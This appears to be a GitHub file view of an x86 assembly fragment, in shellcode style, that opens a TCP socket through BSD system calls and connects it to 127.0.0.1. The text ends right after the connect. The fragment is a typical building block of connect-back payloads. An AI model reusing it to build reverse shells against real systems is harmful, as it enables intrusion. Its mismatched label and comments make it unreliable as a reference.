33 lines
607 B
ArmAsm
33 lines
607 B
ArmAsm
|
_tcp_listen:
|
||
|
|
xor eax, eax ; zero out eax and edx
|
||
|
|
cdq
|
||
|
|
|
||
|
|
push eax ; IPPROTO_IP
|
||
|
|
inc eax
|
||
|
|
push eax ; SOCK_STREAM
|
||
|
|
inc eax
|
||
|
|
push eax ; AF_INET
|
||
|
|
push edx ; spacer
|
||
|
|
mov al, byte 97 ; SYS_socket
|
||
|
|
int 0x80
|
||
|
|
jb end
|
||
|
|
mov edi, eax ; Save server socket in esi
|
||
|
|
|
||
|
|
;; Create sockaddr_in on the stack
|
||
|
|
push edx
|
||
|
|
push edx
|
||
|
|
push 0x0100007f
|
||
|
|
push 0x12340200 ; sin_port, sin_family, sin_length
|
||
|
|
mov ebx, esp
|
||
|
|
|
||
|
|
push byte 16 ; address_len
|
||
|
|
push ebx ; address
|
||
|
|
push edi ; socket
|
||
|
|
push edx ; spacer
|
||
|
|
mov al, 98 ; SYS_connect
|
||
|
|
int 0x80 ; connect(s, saddr, 16)
|
||
|
|
jb end
|
||
|
|
|
||
|
|
;; At this point:
|
||
|
|
;; edi - connected socket
|